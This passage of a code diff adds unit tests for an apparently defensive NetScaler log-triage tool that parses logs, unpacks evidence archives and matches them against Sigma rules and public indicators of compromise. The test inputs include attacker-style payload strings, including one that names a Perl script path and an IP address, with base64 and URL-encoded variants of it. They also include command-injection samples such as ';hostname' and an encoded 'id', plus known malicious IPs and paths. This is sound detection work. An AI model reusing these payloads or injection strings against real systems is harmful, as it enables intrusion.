benign = self.matcher.search_sigma({"raw": "pitboss PPE missed too many heartbeats"})
|
||||
self.assertFalse(any(hit.get("level") in {"high", "critical"} for hit in benign))
|
||||
|
||||
def test_http_user_agent_encodings_keep_original_and_source_metadata(self) -> None:
|
||||
payload = "/var/tmp/.nsmon/nsmon.pl 149.104.78.208"
|
||||
b64 = base64.b64encode(payload.encode()).decode()
|
||||
variants = [
|
||||
quote(payload, safe=""),
|
||||
b64,
|
||||
b64.rstrip("="),
|
||||
quote(base64.b64encode(quote(payload, safe="").encode()).decode(), safe=""),
|
||||
]
|
||||
originals = [
|
||||
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 200 0 "-" "{variant}"'
|
||||
for variant in variants
|
||||
]
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "httpaccess.log").write_text("\n".join(originals) + "\n")
|
||||
output = root / "output"
|
||||
scan([("ADC", logs)], output, [])
|
||||
events = [
|
||||
json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()
|
||||
]
|
||||
self.assertEqual(len(events), len(originals))
|
||||
for event, original in zip(events, originals, strict=True):
|
||||
self.assertEqual(event["raw"], original)
|
||||
hits = [
|
||||
hit for hit in event["indicator_matches"] if hit["value"] == "149.104.78.208"
|
||||
]
|
||||
self.assertTrue(hits)
|
||||
self.assertTrue(all(hit["source_urls"] and hit["source_ids"] for hit in hits))
|
||||
self.assertTrue(any(layer.get("output") == payload for layer in event["decoding"]))
|
||||
@@ -0,0 +1,88 @@
|
||||
import unittest
|
||||
from typing import Any
|
||||
|
||||
from netscaler_triage.parsing import parse_record
|
||||
|
||||
|
||||
class ParsingTests(unittest.TestCase):
|
||||
def test_native_correlation_fields(self) -> None:
|
||||
row = self.parse(
|
||||
'Sep 28 09:10:11 host bash[1]: return_code="0" trans id 12345 Context [email protected]'
|
||||
)
|
||||
self.assertEqual(row["fields"]["return_code"], "0")
|
||||
self.assertEqual(row["fields"]["transaction_id"], "12345")
|
||||
self.assertEqual(row["fields"]["context"], "[email protected]")
|
||||
row = self.parse('Sep 28 09:10:11 host CMD_EXECUTED 12 - Status "Success"')
|
||||
self.assertEqual(row["fields"]["command_status"], "Success")
|
||||
|
||||
def test_attacker_username_is_not_update(self) -> None:
|
||||
row = self.parse('Sep 28 09:10:11 host aaad[42]: User "installns upgrade rebooting" failed')
|
||||
self.assertEqual(row["categories"], [])
|
||||
|
||||
def test_proxy_source(self) -> None:
|
||||
row = self.parse(
|
||||
'192.0.2.40 -> 198.51.100.10 - - [01/Oct/2026:12:02:28 +0000] "GET / HTTP/1.1" 200 5'
|
||||
)
|
||||
self.assertEqual(row["fields"]["dest"], "198.51.100.10")
|
||||
|
||||
def parse(self, raw: str, **kwargs: Any) -> dict[str, Any]:
|
||||
return parse_record({"raw": raw}, **kwargs)
|
||||
|
||||
def test_access_payload_not_update(self) -> None:
|
||||
row = self.parse(
|
||||
'192.0.2.40 - - [01/Oct/2026:12:02:28 +0200] [23] "GET '
|
||||
'/installns?date=2020-01-01T00:00:00Z HTTP/1.1" 404 23 "-" "x"'
|
||||
)
|
||||
self.assertEqual(row["timestamp"], "2026-10-01T10:02:28Z")
|
||||
self.assertEqual(row["fields"]["uri"], "/installns?date=2020-01-01T00:00:00Z")
|
||||
self.assertEqual(row["categories"], [])
|
||||
|
||||
def test_missing_year_and_gmt(self) -> None:
|
||||
row = self.parse(
|
||||
"Sep 30 16:00:54 <local0.warn> 198.51.100.10 09/30/2026:14:00:54 GMT ns "
|
||||
"0-PPE-0 : message"
|
||||
)
|
||||
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
|
||||
self.assertIsNone(self.parse("Sep 30 16:00:54 host bash[1]: installns")["timestamp"])
|
||||
row = self.parse(
|
||||
"Sep 30 16:00:54 host bash[1]: installns", year=2026, timezone="Europe/Berlin"
|
||||
)
|
||||
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
|
||||
self.assertEqual(row["fields"]["update_evidence"], "installer_invocation")
|
||||
|
||||
def test_historical_explicit_year(self) -> None:
|
||||
row = self.parse(
|
||||
"COLLECTOR::INFOA::Sun Sep 28 09:11:12 2025:Successfully loaded "
|
||||
"configuration(NS13.1-60.20)",
|
||||
year=2026,
|
||||
timezone="UTC",
|
||||
)
|
||||
self.assertEqual(row["timestamp"], "2025-09-28T09:11:12Z")
|
||||
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
|
||||
self.assertIn("version", row["categories"])
|
||||
|
||||
def test_dst_ambiguity(self) -> None:
|
||||
self.assertIsNone(
|
||||
self.parse("2026-10-25 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
|
||||
)
|
||||
self.assertIsNone(
|
||||
self.parse("2026-03-29 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
|
||||
)
|
||||
|
||||
def test_nssetup_version_transition(self) -> None:
|
||||
row = self.parse(
|
||||
"Sep 28 09:10:11 host nssetup[386]: ns_conf_check(): This is an upgrade "
|
||||
"from NetScaler NS13.1 build 50.10 to build 60.20",
|
||||
year=2026,
|
||||
timezone="UTC",
|
||||
)
|
||||
self.assertEqual(row["fields"]["builds"], ["50.10", "60.20"])
|
||||
self.assertEqual(row["fields"]["update_relation"], "explicit_upgrade_from_to")
|
||||
row = self.parse(
|
||||
"Sep 28 09:10:11 host nssetup[386]: This is NetScaler version NS13.1, build 60.20"
|
||||
)
|
||||
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,173 @@
|
||||
import gzip
|
||||
import io
|
||||
import tempfile
|
||||
import unittest
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
from typing import IO, Any, cast
|
||||
from unittest.mock import patch
|
||||
|
||||
from netscaler_triage.ingest import InputError, iter_records
|
||||
from netscaler_triage.preparation import prepare_inputs
|
||||
|
||||
|
||||
class PreparationTests(unittest.TestCase):
|
||||
def test_corrupt_archive_does_not_abort_other_inputs(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
(root / "bad.zip").write_bytes(b"not a zip")
|
||||
(root / "good.log").write_text("evidence\n")
|
||||
groups, manifest = prepare_inputs([root / "bad.zip", root / "good.log"], root / "out")
|
||||
self.assertEqual(len(groups), 1)
|
||||
errors = [row for row in manifest if row["action"] == "error"]
|
||||
self.assertEqual(errors[0]["error"], "ArchiveError")
|
||||
self.assertIn("sha256", errors[0])
|
||||
|
||||
def test_unreadable_file_is_manifest_error(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "source"
|
||||
source.mkdir()
|
||||
(source / "bad").write_text("private")
|
||||
(source / "good").write_text("evidence")
|
||||
original = Path.open
|
||||
|
||||
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
|
||||
if path == source / "bad":
|
||||
raise PermissionError(13, "denied", str(path))
|
||||
return cast(IO[Any], original(path, *args, **kwargs))
|
||||
|
||||
with patch.object(Path, "open", guarded):
|
||||
groups, manifest = prepare_inputs([source], root / "out")
|
||||
self.assertEqual(len(groups), 1)
|
||||
self.assertEqual([r["source"] for r in manifest if r["action"] == "error"], ["bad"])
|
||||
self.assertEqual(
|
||||
[p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()], ["good"]
|
||||
)
|
||||
|
||||
def test_password_and_combined_archive_budget(self) -> None:
|
||||
import py7zr
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
encrypted = root / "private.7z"
|
||||
with py7zr.SevenZipFile(
|
||||
encrypted, "w", password="test-secret", header_encryption=True
|
||||
) as z:
|
||||
z.writestr(b"log evidence\n", "log/messages")
|
||||
groups, manifest = prepare_inputs([encrypted], root / "good", password="test-secret")
|
||||
self.assertEqual(len(groups), 1)
|
||||
self.assertNotIn("test-secret", str(manifest))
|
||||
archives = []
|
||||
for name in ("a.zip", "b.zip"):
|
||||
path = root / name
|
||||
with zipfile.ZipFile(path, "w", compression=zipfile.ZIP_DEFLATED) as z:
|
||||
z.writestr("messages", "A" * 1000)
|
||||
archives.append(path)
|
||||
limit = sum(p.stat().st_size for p in archives) + 1999
|
||||
with self.assertRaises(InputError):
|
||||
prepare_inputs(archives, root / "limited", max_bytes=limit)
|
||||
self.assertFalse((root / "limited").exists())
|
||||
|
||||
def test_multiple_appliances_and_gzip(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "export.zip"
|
||||
with zipfile.ZipFile(source, "w") as archive:
|
||||
archive.writestr("wrapper/QS/var/log/messages", b"first\n")
|
||||
archive.writestr("wrapper/PROD/var/log/messages.gz", gzip.compress(b"second\n"))
|
||||
before = source.read_bytes()
|
||||
groups, manifest = prepare_inputs([source], root / "prepared")
|
||||
self.assertEqual(len(groups), 2)
|
||||
records = [r for name, folder in groups for r in iter_records(folder, name)]
|
||||
self.assertEqual({r["raw"] for r in records}, {"first", "second"})
|
||||
self.assertFalse(any(r.get("error") for r in records))
|
||||
self.assertEqual(before, source.read_bytes())
|
||||
self.assertEqual(sum(r["action"] == "scan_root" for r in manifest), 2)
|
||||
|
||||
def test_toolkit_exclusions_preserve_script_evidence(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "source"
|
||||
source.mkdir()
|
||||
(source / "pyproject.toml").write_text('[project]\nname = "netscaler-triage"\n')
|
||||
(source / "src").mkdir()
|
||||
(source / "src/tool.py").write_text("tool")
|
||||
(source / "results").mkdir()
|
||||
(source / "results/old.log").write_text("old")
|
||||
(source / "messages").write_text("evidence\n")
|
||||
(source / "malware.py").write_text('print("evidence")\n')
|
||||
groups, manifest = prepare_inputs([source], source / "new-output")
|
||||
files = {p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()}
|
||||
self.assertEqual(files, {"messages", "malware.py"})
|
||||
self.assertEqual(
|
||||
{r["source"] for r in manifest if r["action"] == "excluded"},
|
||||
{"src", "results", "pyproject.toml", "new-output"},
|
||||
)
|
||||
|
||||
def test_plain_evidence_src_is_not_toolkit(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "source"
|
||||
(source / "src").mkdir(parents=True)
|
||||
(source / "src/malware.py").write_text("code evidence")
|
||||
groups, _ = prepare_inputs([source], root / "out")
|
||||
self.assertEqual(sum(len(list(p.rglob("malware.py"))) for _, p in groups), 1)
|
||||
|
||||
def test_gzip_wrapped_zip_and_nested_named_archive(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "source.zip"
|
||||
zipped = io.BytesIO()
|
||||
with zipfile.ZipFile(zipped, "w") as archive:
|
||||
archive.writestr("log/messages", "hello\n")
|
||||
with zipfile.ZipFile(source, "w") as archive:
|
||||
archive.writestr("inner.gz", gzip.compress(zipped.getvalue()))
|
||||
groups, _ = prepare_inputs([source], root / "out")
|
||||
records = [r for name, folder in groups for r in iter_records(folder, name)]
|
||||
self.assertEqual([r["raw"] for r in records], ["hello"])
|
||||
|
||||
def test_combined_quota_and_nooverwrite(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
a = root / "a.log"
|
||||
b = root / "b.log"
|
||||
a.write_bytes(b"a" * 6)
|
||||
b.write_bytes(b"b" * 6)
|
||||
with self.assertRaises(InputError):
|
||||
prepare_inputs([a, b], root / "out", max_bytes=10)
|
||||
self.assertFalse((root / "out").exists())
|
||||
(root / "out").mkdir()
|
||||
(root / "out/keep").write_text("safe")
|
||||
with self.assertRaises(FileExistsError):
|
||||
prepare_inputs([a], root / "out")
|
||||
self.assertEqual((root / "out/keep").read_text(), "safe")
|
||||
|
||||
def test_symlink_rejected_and_source_preserved(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "source"
|
||||
source.mkdir()
|
||||
(source / "real").write_text("evidence")
|
||||
(source / "link").symlink_to("real")
|
||||
with self.assertRaises(InputError):
|
||||
prepare_inputs([source], root / "out")
|
||||
self.assertFalse((root / "out").exists())
|
||||
self.assertEqual((source / "real").read_text(), "evidence")
|
||||
|
||||
def test_two_same_named_exports_stay_distinct(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
sources = []
|
||||
for n in ("one", "two"):
|
||||
source = root / n / "log"
|
||||
source.mkdir(parents=True)
|
||||
(source / "messages").write_text(n)
|
||||
sources.append(source)
|
||||
groups, _ = prepare_inputs(sources, root / "out")
|
||||
self.assertEqual(len(groups), 2)
|
||||
self.assertEqual(len({name for name, _ in groups}), 2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,95 @@
|
||||
"""Boundary semantics for the bundled public reference Sigma groups."""
|
||||
|
||||
import unittest
|
||||
from importlib.resources import files
|
||||
from typing import ClassVar
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
from netscaler_triage.sigma_rules import SigmaMatcher
|
||||
|
||||
|
||||
class PublicBoundaryTests(unittest.TestCase):
|
||||
matcher: ClassVar[SigmaMatcher]
|
||||
|
||||
@classmethod
|
||||
def setUpClass(cls) -> None:
|
||||
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||
cls.matcher = SigmaMatcher.from_yaml(content)
|
||||
|
||||
def matched(self, kind: str, value: str, decoded: bool = False) -> bool:
|
||||
hits = self.matcher.search_with_details(
|
||||
{"raw": "opaque" if decoded else value}, [value] if decoded else []
|
||||
)
|
||||
return any(hit["name"] == "public_reference_" + kind for hit in hits)
|
||||
|
||||
def test_catalog_positive_raw_and_decoded_per_group(self) -> None:
|
||||
for row in self.matcher.indicators:
|
||||
kind, value = str(row["type"]), str(row["value"])
|
||||
if kind not in {"domain", "path", "url", "sha256"}:
|
||||
continue
|
||||
if value == "/var/python/bin/customsnmpd":
|
||||
continue # Legitimate binary intentionally omitted from standalone selectors.
|
||||
with self.subTest(kind=kind, value=value):
|
||||
self.assertTrue(self.matched(kind, value))
|
||||
self.assertTrue(self.matched(kind, value, decoded=True))
|
||||
|
||||
def test_domains_accept_subdomains_not_lookalike_suffixes(self) -> None:
|
||||
domain = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "domain")
|
||||
self.assertTrue(self.matched("domain", "sub." + domain.upper()))
|
||||
for value in ("evil" + domain, domain + ".invalid", domain + "-suffix"):
|
||||
self.assertFalse(self.matched("domain", value))
|
||||
|
||||
def test_path_boundaries_case_and_url_embedding(self) -> None:
|
||||
value = "/tmp/lula"
|
||||
self.assertTrue(self.matched("path", value))
|
||||
self.assertTrue(self.matched("path", "https://example.invalid" + value))
|
||||
for other in (value + ".backup", value + "-longer", "/other" + value, value.upper()):
|
||||
self.assertFalse(self.matched("path", other))
|
||||
self.assertTrue(self.matched("path", "/directory/LoginIcon.sig"))
|
||||
self.assertFalse(self.matched("path", "/directory/LoginIcon.sig.backup"))
|
||||
self.assertFalse(self.matched("path", "/directory/loginicon.sig"))
|
||||
|
||||
def test_urls_preserve_path_case_and_reject_extension(self) -> None:
|
||||
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "url")
|
||||
parsed = urlsplit(value)
|
||||
authority = parsed.scheme + "://" + parsed.netloc
|
||||
self.assertTrue(self.matched("url", authority.upper() + value[len(authority) :]))
|
||||
for suffix in ("-longer", ".backup", "/extra"):
|
||||
self.assertFalse(self.matched("url", value + suffix))
|
||||
if any(char.isalpha() for char in parsed.path):
|
||||
self.assertFalse(self.matched("url", authority + value[len(authority) :].upper()))
|
||||
|
||||
def test_hashes_require_token_boundaries(self) -> None:
|
||||
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "sha256")
|
||||
self.assertTrue(self.matched("sha256", value.upper()))
|
||||
self.assertFalse(self.matched("sha256", "f" + value))
|
||||
self.assertFalse(self.matched("sha256", value + "z"))
|
||||
|
||||
|
||||
class PublicLongLineTests(unittest.TestCase):
|
||||
def test_encoded_loader_bounds_long_negative_and_positive_lines(self) -> None:
|
||||
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||
matcher = SigmaMatcher.from_yaml(content)
|
||||
loader = next(
|
||||
rule for rule in matcher.rules if rule.metadata["name"] == "sygnia-encoded-loader"
|
||||
)
|
||||
long_encoded = "QUJD" * 200000
|
||||
self.assertFalse(loader.predicate({"raw": long_encoded}))
|
||||
self.assertTrue(loader.predicate({"raw": long_encoded + " NSPPE base64 httpaccess"}))
|
||||
self.assertTrue(loader.predicate({"raw": "first line\nNSPPE base64 httpaccess"}))
|
||||
self.assertFalse(loader.predicate({"raw": "NSPPE\nbase64 httpaccess"}))
|
||||
|
||||
def test_crash_lookahead_long_negatives_and_line_semantics(self) -> None:
|
||||
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||
matcher = SigmaMatcher.from_yaml(content)
|
||||
crash = next(
|
||||
rule
|
||||
for rule in matcher.rules
|
||||
if rule.metadata["name"] == "elastic-inspired-crash-shell"
|
||||
)
|
||||
for text in ("QUJD" * 200000, "pitboss; " + "packet " * 100000):
|
||||
self.assertFalse(crash.predicate({"raw": text}))
|
||||
self.assertTrue(crash.predicate({"raw": "QUJD" * 200000 + " pitboss NSPPE;"}))
|
||||
self.assertTrue(crash.predicate({"raw": "first\npitboss packet engine;"}))
|
||||
self.assertFalse(crash.predicate({"raw": "pitboss packet\nengine;"}))
|
||||
self.assertFalse(crash.predicate({"raw": "pitboss engine packet;"}))
|
||||
@@ -0,0 +1,69 @@
|
||||
"""Bundled public references work offline without incident-specific configuration."""
|
||||
|
||||
import ipaddress
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher, load_config, public_config
|
||||
|
||||
|
||||
class PublicDefaultsTests(unittest.TestCase):
|
||||
def test_packaged_references_have_sources_and_only_public_addresses(self) -> None:
|
||||
config = public_config()
|
||||
sources = {row["id"] for row in config["sources"]}
|
||||
self.assertGreaterEqual(len(sources), 37)
|
||||
self.assertGreaterEqual(len(config["indicators"]), 35)
|
||||
self.assertGreaterEqual(len(config["patterns"]), 9)
|
||||
for indicator in config["indicators"]:
|
||||
self.assertEqual(indicator["status"], "reference_only")
|
||||
self.assertTrue(set(indicator["source_ids"]) <= sources)
|
||||
if indicator["type"] == "ipv4":
|
||||
self.assertTrue(ipaddress.ip_address(indicator["value"]).is_global)
|
||||
|
||||
def test_default_public_ioc_and_pattern_matching(self) -> None:
|
||||
matcher = Matcher([])
|
||||
_, indicators = matcher.search("peer 143.198.7.94:443")
|
||||
self.assertTrue(any("mandiant" in row["source_ids"] for row in indicators))
|
||||
_, _, details = matcher.search_with_details("HTTP_NSC_CLIENTTYPE")
|
||||
self.assertTrue(any(row.get("name") == "ti_shell_headers" for row in details))
|
||||
|
||||
def test_explicit_duplicate_config_does_not_duplicate_matches(self) -> None:
|
||||
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
|
||||
self.assertEqual(Matcher([]).search(text), Matcher([public_config()]).search(text))
|
||||
|
||||
def test_default_opt_out_keeps_explicit_configuration(self) -> None:
|
||||
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
|
||||
self.assertEqual(Matcher([], defaults=False).search(text), ([], []))
|
||||
self.assertTrue(Matcher([public_config()], defaults=False).search(text)[1])
|
||||
|
||||
def test_scan_without_config_retains_reference_provenance(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
source = root / "logs"
|
||||
source.mkdir()
|
||||
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
|
||||
result = scan([("adc", source)], root / "out", [])
|
||||
self.assertEqual(result["counts"]["findings"], 1)
|
||||
event = json.loads((root / "out/findings.jsonl").read_text())
|
||||
hit = next(row for row in event["indicator_matches"] if row["value"] == "143.198.7.94")
|
||||
self.assertEqual(hit["status"], "reference_only")
|
||||
self.assertIn("mandiant", hit["source_ids"])
|
||||
|
||||
def test_own_ioc_csv_can_be_reused_as_configuration(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
source = root / "logs"
|
||||
source.mkdir()
|
||||
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
|
||||
scan([("adc", source)], root / "out", [])
|
||||
config = load_config(root / "out/IOCS.csv")
|
||||
_, hits = Matcher([config], defaults=False).search("peer 143.198.7.94:443")
|
||||
hit = next(row for row in hits if row["value"] == "143.198.7.94")
|
||||
self.assertEqual(hit["type"], "ipv4")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,65 @@
|
||||
"""Keep public package sources and release inclusion rules free of case data."""
|
||||
|
||||
import json
|
||||
import re
|
||||
import tomllib
|
||||
import unittest
|
||||
from importlib.resources import files
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
class ReleaseHygieneTests(unittest.TestCase):
|
||||
def test_public_package_and_explicit_release_allowlist(self) -> None:
|
||||
package = files("netscaler_triage")
|
||||
personal = re.compile(
|
||||
r"/(?:Users|home)/[^\s/]+|[A-Za-z]:[\\/]Users[\\/][^\s\\/]+"
|
||||
r"|(?im:^[ \t]*(?:Bearbeitung|Prepared by|Analyst|Investigator|Customer|Case ID)\s*:)"
|
||||
)
|
||||
stack = [package]
|
||||
while stack:
|
||||
directory = stack.pop()
|
||||
for entry in directory.iterdir():
|
||||
if entry.is_dir() and entry.name != "__pycache__":
|
||||
stack.append(entry)
|
||||
elif entry.name.endswith((".py", ".json", ".yml", ".yaml")):
|
||||
self.assertIsNone(
|
||||
personal.search(entry.read_text(encoding="utf-8")), entry.name
|
||||
)
|
||||
public = json.loads(package.joinpath("data", "threat_intel.json").read_text())
|
||||
sources = {entry["id"] for entry in public["sources"]}
|
||||
for indicator in public["indicators"]:
|
||||
self.assertEqual(indicator["status"], "reference_only")
|
||||
self.assertTrue(set(indicator["source_ids"]) <= sources)
|
||||
|
||||
# Installed-wheel tests lack repository metadata; package checks above still run.
|
||||
project = Path(__file__).resolve().parents[1] / "pyproject.toml"
|
||||
if project.is_file():
|
||||
config = tomllib.loads(project.read_text(encoding="utf-8"))
|
||||
allowed = {
|
||||
"src/",
|
||||
"tests/",
|
||||
"typing_stubs/",
|
||||
"examples/",
|
||||
"README.txt",
|
||||
"README.md",
|
||||
"RULES.txt",
|
||||
"VALIDATION.txt",
|
||||
"THREAT_INTELLIGENCE.txt",
|
||||
"LICENSE.txt",
|
||||
"config/threat_intel.json",
|
||||
"uv.lock",
|
||||
".python-version",
|
||||
".gitignore",
|
||||
"pyproject.toml",
|
||||
}
|
||||
ignore = (project.parent / ".gitignore").read_text().splitlines()
|
||||
self.assertTrue({"private/", "/private/"} & set(ignore))
|
||||
included = set(config["tool"]["hatch"]["build"]["targets"]["sdist"]["include"])
|
||||
self.assertFalse(any("private" in entry for entry in included))
|
||||
self.assertTrue(
|
||||
included <= allowed, f"Unreviewed release include entries: {included - allowed}"
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,86 @@
|
||||
"""Regression checks for independent review findings; synthetic evidence only."""
|
||||
|
||||
import base64
|
||||
import csv
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher
|
||||
|
||||
|
||||
class ReviewTests(unittest.TestCase):
|
||||
def test_ipv4_with_port_and_embedded_address_boundary(self) -> None:
|
||||
matcher = Matcher(
|
||||
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}],
|
||||
defaults=False,
|
||||
)
|
||||
self.assertTrue(matcher.search("http://192.0.2.1:443/a")[1])
|
||||
self.assertFalse(matcher.search("192.0.2.10:443")[1])
|
||||
self.assertFalse(matcher.search("1192.0.2.1")[1])
|
||||
|
||||
def test_base64_query_without_percent_encoding(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
source = root / "logs"
|
||||
source.mkdir()
|
||||
(source / "access.log").write_text(
|
||||
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
'"GET /test?x=aWQ= HTTP/1.1" 403 0 "-" "ordinary"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
result = scan(
|
||||
[("appliance", source)],
|
||||
root / "out",
|
||||
[{"patterns": [{"id": "decoded_id", "pattern": "^id$"}]}],
|
||||
defaults=False,
|
||||
)
|
||||
self.assertEqual(result["counts"].get("findings", 0), 1)
|
||||
|
||||
def test_authorized_status_survives_ioc_export(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
source = root / "logs"
|
||||
source.mkdir()
|
||||
(source / "access.log").write_text(
|
||||
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
'"GET /test HTTP/1.1" 403 0 "-" "ordinary"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
scan(
|
||||
[("appliance", source)],
|
||||
root / "out",
|
||||
[
|
||||
{
|
||||
"indicators": [
|
||||
{"type": "ipv4", "value": "192.0.2.1", "status": "authorized_test"}
|
||||
]
|
||||
}
|
||||
],
|
||||
defaults=False,
|
||||
)
|
||||
with (root / "out/IOCS.csv").open(encoding="utf-8", newline="") as handle:
|
||||
rows = list(csv.DictReader(handle))
|
||||
match = next(row for row in rows if row["value"] == "192.0.2.1")
|
||||
self.assertIn("authorized_test", match["status"])
|
||||
|
||||
def test_incomplete_decoding_marks_partial_analysis(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as temporary:
|
||||
root = Path(temporary).resolve()
|
||||
source = root / "logs"
|
||||
source.mkdir()
|
||||
payload = "x:" + base64.b64encode(b"hostname " * 50).decode() + "%20"
|
||||
(source / "payload.log").write_text(payload + "\n", encoding="utf-8")
|
||||
result = scan(
|
||||
[("appliance", source)],
|
||||
root / "out",
|
||||
[{"patterns": [{"id": "candidate", "pattern": "^x:"}]}],
|
||||
defaults=False,
|
||||
max_line_bytes=1024,
|
||||
)
|
||||
self.assertEqual(result["status"], "partial")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,105 @@
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher
|
||||
|
||||
|
||||
class RuleDetailsTests(unittest.TestCase):
|
||||
def test_shared_rule_keeps_both_source_descriptions_without_duplicate_regex(self) -> None:
|
||||
matcher = Matcher(
|
||||
[
|
||||
{
|
||||
"patterns": [
|
||||
{
|
||||
"id": "shared",
|
||||
"pattern": "signal",
|
||||
"description": "Source one",
|
||||
"source": "REF-1",
|
||||
},
|
||||
{
|
||||
"id": "shared",
|
||||
"pattern": "signal",
|
||||
"description": "Source two",
|
||||
"source": "REF-2",
|
||||
},
|
||||
]
|
||||
}
|
||||
],
|
||||
defaults=False,
|
||||
)
|
||||
self.assertEqual(len(matcher.rules), 1)
|
||||
_, _, details = matcher.search_with_details("signal")
|
||||
self.assertEqual({row["source"] for row in details}, {"REF-1", "REF-2"})
|
||||
|
||||
def test_default_descriptions_and_compatible_search(self) -> None:
|
||||
matcher = Matcher([], defaults=True)
|
||||
ids, hits = matcher.search("payload ;hostname")
|
||||
detailed_ids, detailed_hits, details = matcher.search_with_details("payload ;hostname")
|
||||
self.assertEqual((ids, hits), (detailed_ids, detailed_hits))
|
||||
self.assertTrue(
|
||||
any(row.get("name") == "command_injection" and row["description"] for row in details)
|
||||
)
|
||||
|
||||
def test_same_id_does_not_attribute_unmatched_description(self) -> None:
|
||||
matcher = Matcher(
|
||||
[
|
||||
{
|
||||
"patterns": [
|
||||
{
|
||||
"id": "custom",
|
||||
"pattern": "MATCH_ME",
|
||||
"description": "Matched explanation",
|
||||
"source": "https://example.org/source",
|
||||
},
|
||||
{
|
||||
"id": "custom",
|
||||
"pattern": "NEVER_MATCH",
|
||||
"description": "Must not be attributed",
|
||||
"source": "https://example.org/other",
|
||||
},
|
||||
]
|
||||
}
|
||||
],
|
||||
defaults=False,
|
||||
)
|
||||
ids, _, details = matcher.search_with_details("MATCH_ME")
|
||||
self.assertEqual(ids, ["custom"])
|
||||
self.assertEqual(len(details), 1)
|
||||
self.assertEqual(details[0]["description"], "Matched explanation")
|
||||
self.assertEqual(details[0]["source"], "https://example.org/source")
|
||||
|
||||
def test_decoded_rule_metadata_reaches_findings(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "http.log").write_text(
|
||||
'192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "GET /?x=aWQ%3D HTTP/1.1" '
|
||||
'404 0 "-" "ua"\n'
|
||||
)
|
||||
config = {
|
||||
"patterns": [
|
||||
{
|
||||
"id": "decoded-id",
|
||||
"pattern": "^id$",
|
||||
"description": "The decoded value is the id command; execution is not "
|
||||
"established.",
|
||||
